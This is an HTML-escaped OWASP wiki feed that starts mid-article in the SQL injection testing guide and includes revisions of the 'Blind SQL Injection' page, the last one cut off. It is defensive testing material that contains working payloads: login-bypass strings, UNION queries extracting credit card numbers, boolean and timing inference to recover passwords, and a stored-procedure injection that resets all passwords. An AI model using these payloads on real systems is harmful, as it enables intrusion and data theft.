&amp;lt;pre&amp;gt;&lt;br /&gt;
 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;
 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the&lt;br /&gt;
 varchar value 'test' to a column of data type int.&lt;br /&gt;
 /target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques.&lt;br /&gt;
In any case, it is very important to test *each field separately*: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.&lt;br /&gt;
&lt;br /&gt;
=== Standard SQL Injection Testing ===&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE Username='$username' AND Password='$password' &lt;br /&gt;
&lt;br /&gt;
A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that credentials exists, then the user is allowed to login to the system, otherwise the access is denied.&lt;br /&gt;
The values of the input fields are generally obtained from the user through a web form. &lt;br /&gt;
Suppose we insert the following Username and Password values: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1&lt;br /&gt;
 $password = 1' or '1' = '1&lt;br /&gt;
&lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'&amp;lt;/nowiki&amp;gt; &lt;br /&gt;
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;password=1'%20or%20'1'%20=%20'1 &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
After a short analysis we notice that the query returns a value (or a set of values) because the  condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.&amp;lt;BR&amp;gt; ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.''&lt;br /&gt;
Another example of query is the following: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) &lt;br /&gt;
&lt;br /&gt;
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. &lt;br /&gt;
First of all, we resolve the problem of the parentheses. &lt;br /&gt;
That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to invalidate the second condition.&lt;br /&gt;
We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment.&lt;br /&gt;
Every DBMS has its own symbols of comment, however, a common symbol to the greater part of the database is /*. In Oracle the symbol is &amp;quot;--&amp;quot;.&lt;br /&gt;
This said, the values that we'll use as Username and Password are: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1'))/*&lt;br /&gt;
 $password = foo&lt;br /&gt;
&lt;br /&gt;
In this way, we'll get the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) &lt;br /&gt;
&lt;br /&gt;
The URL request will be:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;password=foo &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Which returns a number of values. Sometimes, the authentication code verifies that the number of returned tuple is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). &lt;br /&gt;
In order to go around this problem, it is enough to insert a SQL command that imposes the condition that the number of the returned tuple must be one. (One record returned)&lt;br /&gt;
In order to reach this goal, we use the operator &amp;quot;LIMIT &amp;lt;num&amp;gt;&amp;quot;, where &amp;lt;num&amp;gt; is the number of the tuples that we expect to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:&lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1')) LIMIT 1/* &lt;br /&gt;
 $password = foo &lt;br /&gt;
&lt;br /&gt;
In this way, we create a request like the follow:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;password=foo &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Union Query SQL Injection Testing ===&lt;br /&gt;
Another test involves the use of the UNION operator. This operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of fields of other tables.&lt;br /&gt;
We suppose for our examples that the query executed from the server is the following: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=$id &lt;br /&gt;
&lt;br /&gt;
We will set the following Id value: &lt;br /&gt;
&lt;br /&gt;
 $id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable&lt;br /&gt;
&lt;br /&gt;
We will have the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable &lt;br /&gt;
&lt;br /&gt;
which will join the result of the original query with all the credit card users. &lt;br /&gt;
The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT. &lt;br /&gt;
Moreover, we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two query must have an equal number of parameters, in order to avoid a syntax error.&lt;br /&gt;
&lt;br /&gt;
=== Blind SQL Injection Testing ===&lt;br /&gt;
We have pointed out that there is another category of SQL injection, called [[Blind SQL Injection]], in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500).&lt;br /&gt;
&amp;lt;BR&amp;gt;&lt;br /&gt;
By using the inference methods, it is possible to avoid this obstacle and thus to succeed to recover the values of some desired fields. This method consists of carrying out a series of boolean queries to the server, observing the answers and finally deducing the meaning of such answers.&lt;br /&gt;
We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection.&lt;br /&gt;
This means that carrying out the following request: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?id=1' &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
we will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='$Id' &lt;br /&gt;
&lt;br /&gt;
which is exploitable through the methods seen previously. &lt;br /&gt;
What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present practically in every database. For our examples, we will use the following pseudo-functions: &lt;br /&gt;
&lt;br /&gt;
'''SUBSTRING (text, start, length)''': it returns a substring starting from the position &amp;quot;start&amp;quot; of text and of length &amp;quot;length&amp;quot;. If &amp;quot;start&amp;quot; is greater than the length of text, the function returns a null value. &lt;br /&gt;
&lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
'''LENGTH (text)''': it gives back the length in characters of the input text.&lt;br /&gt;
&lt;br /&gt;
Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. &lt;br /&gt;
The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found.&lt;br /&gt;
As an example, we will use the following value for ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&lt;br /&gt;
that creates the following query (from now on, we will call it &amp;quot;inferential query&amp;quot;): &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&lt;br /&gt;
The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function.&lt;br /&gt;
The problem is to understand in which way we can distinguish tests returning a true value from those that return false.&lt;br /&gt;
To do this, we create a query that always returns false. &lt;br /&gt;
This is possible by using the following value for ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND '1' = '2 &lt;br /&gt;
&lt;br /&gt;
by which will create the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' &lt;br /&gt;
&lt;br /&gt;
The obtained response from the server (that is HTML code) will be the false value for our tests. &lt;br /&gt;
This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. &lt;br /&gt;
Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order to decide the result of the test.&lt;br /&gt;
&lt;br /&gt;
In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. &lt;br /&gt;
A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function.&lt;br /&gt;
When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedue (we have scanned the whole string), or the value we have analyzed contains the null character.&lt;br /&gt;
&lt;br /&gt;
We will insert the following value for the field ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&lt;br /&gt;
Where N is the number of characters that we have analyzed up to now (not counting the null value). &lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&lt;br /&gt;
The query returns either true or false. If we obtain true, then we have completed inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.&lt;br /&gt;
&lt;br /&gt;
The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
A simple tool which performs this task, via GET requests on the MySql DB, is SqlDumper, which is shown below.&lt;br /&gt;
&lt;br /&gt;
[[Image:sqldumper.jpg]]&lt;br /&gt;
&lt;br /&gt;
=== Stored Procedure Injection ===&lt;br /&gt;
Question: How can the risk of SQL injection be eliminated? &amp;lt;br&amp;gt;&lt;br /&gt;
Answer: Stored procedures.&amp;lt;br&amp;gt;&lt;br /&gt;
I have seen this answer too many times without qualifications.  Merely the use of stored procedures does not assist in the mitigation of SQL injection.  If not handled properly, dynamic SQL within stored procedures can be just as vulnerable to SQL injection as dynamic SQL within a web page.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection.  If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Black box testing uses SQL injection to compromise the system. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Consider the following &amp;lt;b&amp;gt;SQL Server Stored Procedure:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
 Create procedure user_login @username varchar(20), @passwd varchar(20) As&lt;br /&gt;
 Declare @sqlstring varchar(250) &lt;br /&gt;
 Set @sqlstring  = ‘&lt;br /&gt;
 Select 1 from users &lt;br /&gt;
 Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd&lt;br /&gt;
 exec(@sqlstring)&lt;br /&gt;
 Go&lt;br /&gt;
User input: &amp;lt;br&amp;gt;&lt;br /&gt;
 anyusername or 1=1'&lt;br /&gt;
 anypassword&lt;br /&gt;
This procedure does not sanitize the input, therefore allowing the return value to show an existing record with these parameters.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
NOTE:  This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Consider the following &amp;lt;b&amp;gt;SQL Server Stored Procedure:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
 Create procedure get_report @columnamelist varchar(7900) As&lt;br /&gt;
 Declare @sqlstring varchar(8000) &lt;br /&gt;
 Set @sqlstring  = ‘&lt;br /&gt;
 Select ‘ + @columnamelist + ‘ from ReportTable‘&lt;br /&gt;
 exec(@sqlstring) &lt;br /&gt;
 Go&lt;br /&gt;
User input: &amp;lt;br&amp;gt;&lt;br /&gt;
 1 from users; update users set password = 'password'; select *&lt;br /&gt;
&lt;br /&gt;
This will result in the report running and all users’ passwords being updated.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Related Articles ==&lt;br /&gt;
&lt;br /&gt;
* [[Top 10 2007-Injection Flaws]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Technology specific Testing Guide pages have been created for the following DBMSs:&lt;br /&gt;
&lt;br /&gt;
* [[Testing for Oracle| Oracle]]&lt;br /&gt;
* [[Testing for MySQL| MySQL]]&lt;br /&gt;
* [[Testing for SQL Server  | SQL Server]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Victor Chapela: &amp;quot;Advanced SQL Injection&amp;quot; - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt&lt;br /&gt;
* Chris Anley: &amp;quot;Advanced SQL Injection In SQL Server Applications&amp;quot; - http://www.nextgenss.com/papers/advanced_sql_injection.pdf&lt;br /&gt;
* Chris Anley: &amp;quot;More Advanced SQL Injection&amp;quot; - http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.nextgenss.com/research/papers/sqlinference.pdf&lt;br /&gt;
* Imperva: &amp;quot;Blind SQL Injection&amp;quot; - http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html&lt;br /&gt;
* Ferruh Mavituna: &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;SQL Injection&amp;quot; - http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;Blind SQL Injection&amp;quot; - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* SQL Injection Fuzz Strings (from wfuzz tool) - http://yehg.net/lab/pr0js/pentest/wordlists/injections/SQL.txt&lt;br /&gt;
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools]&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.sourceforge.net&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]&lt;br /&gt;
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/pangolin.html Pangolin]&lt;br /&gt;
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz SqlDumper]&amp;lt;br&amp;gt;&lt;br /&gt;
* http://sqlsus.sourceforge.net&lt;br /&gt;
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Blind_SQL_Injection&amp;diff=128755</id>
		<title>Blind SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Blind_SQL_Injection&amp;diff=128755"/>
				<updated>2012-04-29T14:25:13Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
When an attacker executes SQL Injection attacks, sometimes the server responds with error messages from the database server complaining that the SQL Query's syntax is incorrect. Blind SQL injection is identical to normal [[SQL Injection]] except that when an attacker attempts to exploit an application, rather then getting a useful error message, they get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible. An attacker can still steal data by asking a series of True and False questions through SQL statements.&lt;br /&gt;
&lt;br /&gt;
==Threat Modeling==&lt;br /&gt;
Same as for [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===How to Avoid SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities.&lt;br /&gt;
&amp;lt;br&amp;gt;See the OWASP [[SQL Injection Prevention Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
===How to Avoid SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Test for SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection    (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
Same as for [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Examples ==&lt;br /&gt;
An attacker may verify whether a sent request returned True or False in a few ways:&lt;br /&gt;
&lt;br /&gt;
===(in)visible content===&lt;br /&gt;
Having a simple page, which displays article with given ID as the parameter, the attacker may perform a couple of simple tests if a page is vulnerable to SQL Injection attack.&lt;br /&gt;
&lt;br /&gt;
Example URL:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://newspaper.com/items.php?id=2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
sends the following query to the database:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT title, description, body FROM items WHERE ID = 2&lt;br /&gt;
&amp;lt;/prE&amp;gt;&lt;br /&gt;
The attacker may try to inject any (even invalid) query, what should cause the query to return no results:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://newspaper.com/items.php?id=2 and 1=2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now the SQL query should looks like this:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT title, description, body FROM items WHERE ID = 2 and 1=2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Which means that the query is not going to return anything.&lt;br /&gt;
&lt;br /&gt;
If the web application is vulnerable to SQL Injection, then it probably will not return anything. To make sure, the attacker will certainly inject a valid query:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://newspaper.com/items.php?id=2 and 1=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
If the content of the page is the same, then the attacker is able to distinguish when the query is True or False.&lt;br /&gt;
&lt;br /&gt;
What next? The only limitations are privileges set up by the database administrator, different SQL dialects and finally the attacker's imagination.&lt;br /&gt;
&lt;br /&gt;
===RDBMS fingerprinting===&lt;br /&gt;
&lt;br /&gt;
If the attacker is able to determine when his query returns True or False, then he may fingerprint the RDBMS. This will make the whole attack much easier to him. One of the most popular methods to do this is to call functions which will return the current date. MySQL, MS SQL or Oracle have different functions for that, respectively ''now()'', ''getdate()'', and ''sysdate()''.&lt;br /&gt;
&lt;br /&gt;
===Timing Attack===&lt;br /&gt;
&lt;br /&gt;
A Timing Attack depends upon injecting the following MySQL query:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT IF(expression, true, false)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Using some time-taking operation e.g. BENCHMARK(), will delay server&lt;br /&gt;
responses if the expression is True.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;BENCHMARK(5000000,ENCODE('MSG','by 5 seconds'))&amp;lt;/pre&amp;gt; - will execute 5000000 times the ENCODE function.&lt;br /&gt;
&lt;br /&gt;
Depending on the database server performence and its load, it should&lt;br /&gt;
take just a moment to finish this operation. The important thing is,&lt;br /&gt;
from the attacker's point of view, to specify high number of BENCHMARK()&lt;br /&gt;
function repetitons, which should affect the server&lt;br /&gt;
response time in a noticeable way.&lt;br /&gt;
&lt;br /&gt;
Example combination of both queries:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM users WHERE user_id = 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
If the server response was quite long we may expect that the first user password character with user_id = 1 is character '2'.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
(CHAR(50) == '2')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Using this method for the rest of characters, it's possible to get to know entire password stored in the database. This method works even when the attacker injects the SQL queries and the content of the vulnerable page doesn't change.&lt;br /&gt;
&lt;br /&gt;
Obviously, in this example the names of the tables and the number of columns was specified. However, it's possible to guess them or check with a trial and error method.&lt;br /&gt;
&lt;br /&gt;
Other databases than MySQL also have implemented functions which allow them to use timing attacks:&lt;br /&gt;
* MS SQL 'WAIT FOR DELAY '0:0:10''&lt;br /&gt;
* PostgreSQL - pg_sleep()&lt;br /&gt;
&lt;br /&gt;
Conducting Blind_SQL_Injection attacks manually is very time consuming, but there are a lot of tools which automate this process. One of them is SQLMap (http://sqlmap.sourceforge.net/) partly developed within OWASP grant program. On the other hand, tools of this kind are very sensitive to even small deviations from the rule. This includes:&lt;br /&gt;
* scanning othe WWW cluster, where clocks are not ideally synchronized,&lt;br /&gt;
* WWW services where argument acquiring method was changed, e.g.  from /index.php?ID=10 to /ID,10&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
Same as for [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[Blind_XPath_Injection]]&lt;br /&gt;
* [[SQL_Injection]]&lt;br /&gt;
* [[XPATH_Injection]]&lt;br /&gt;
* [[LDAP_injection]]&lt;br /&gt;
* [[Server-Side_Includes_%28SSI%29_Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
* [[Injection_problem]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* http://www.cgisecurity.com/questions/blindsql.shtml&lt;br /&gt;
* http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html&lt;br /&gt;
* http://www.securitydocs.com/library/2651&lt;br /&gt;
* http://seclists.org/bugtraq/2005/Feb/0288.html&lt;br /&gt;
* http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/&lt;br /&gt;
&lt;br /&gt;
'''Online Resources'''&lt;br /&gt;
* [http://www.nccgroup.com/Libraries/Document_Downloads/more__Advanced_SQL_Injection.sflb.ashx more Advanced SQL Injection] - by NGS&lt;br /&gt;
* [http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf Blind SQL Injection Automation Techniques] - Black Hat Pdf&lt;br /&gt;
* [http://seclists.org/lists/bugtraq/2005/Feb/0288.html Blind Sql-Injection in MySQL Databases]&lt;br /&gt;
* [http://www.cgisecurity.com/questions/blindsql.shtml Cgisecurity.com: What is Blind SQL Injection?]&lt;br /&gt;
* Kevin Spett from SPI Dynamics: http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf&lt;br /&gt;
* http://www.imperva.com/resources/whitepapers.asp?t=ADC&lt;br /&gt;
* [https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt Advanced SQL Injection]&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&lt;br /&gt;
* [http://www.sqlpowerinjector.com/ SQL Power Injector]&lt;br /&gt;
* [http://www.0x90.org/releases/absinthe/ Absinthe :: Automated Blind SQL Injection] // ver1.3.1&lt;br /&gt;
* [http://www.securiteam.com/tools/5IP0L20I0E.html SQLBrute - Multi Threaded Blind SQL Injection Bruteforcer] in Python&lt;br /&gt;
* [[:Category:OWASP_SQLiX_Project|SQLiX - SQL Injection Scanner]] in Perl&lt;br /&gt;
* [http://sqlmap.sourceforge.net sqlmap, automatic SQL injection tool] in Python&lt;br /&gt;
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category: Attack]]&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Blind_SQL_Injection&amp;diff=128753</id>
		<title>Blind SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Blind_SQL_Injection&amp;diff=128753"/>
				<updated>2012-04-29T14:12:23Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
When an attacker executes SQL Injection attacks, sometimes the server responds with error messages from the database server complaining that the SQL Query's syntax is incorrect. Blind SQL injection is identical to normal [[SQL Injection]] except that when an attacker attempts to exploit an application, rather then getting a useful error message, they get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible. An attacker can still steal data by asking a series of True and False questions through SQL statements.&lt;br /&gt;
&lt;br /&gt;
==Threat Modeling==&lt;br /&gt;
Same as for [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===How to Avoid SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities.&lt;br /&gt;
&amp;lt;br&amp;gt;See the OWASP [[SQL Injection Prevention Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
===How to Avoid SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Test for SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection    (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
Same as for [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Examples ==&lt;br /&gt;
An attacker may verify whether a sent request returned True or False in a few ways:&lt;br /&gt;
&lt;br /&gt;
===(in)visible content===&lt;br /&gt;
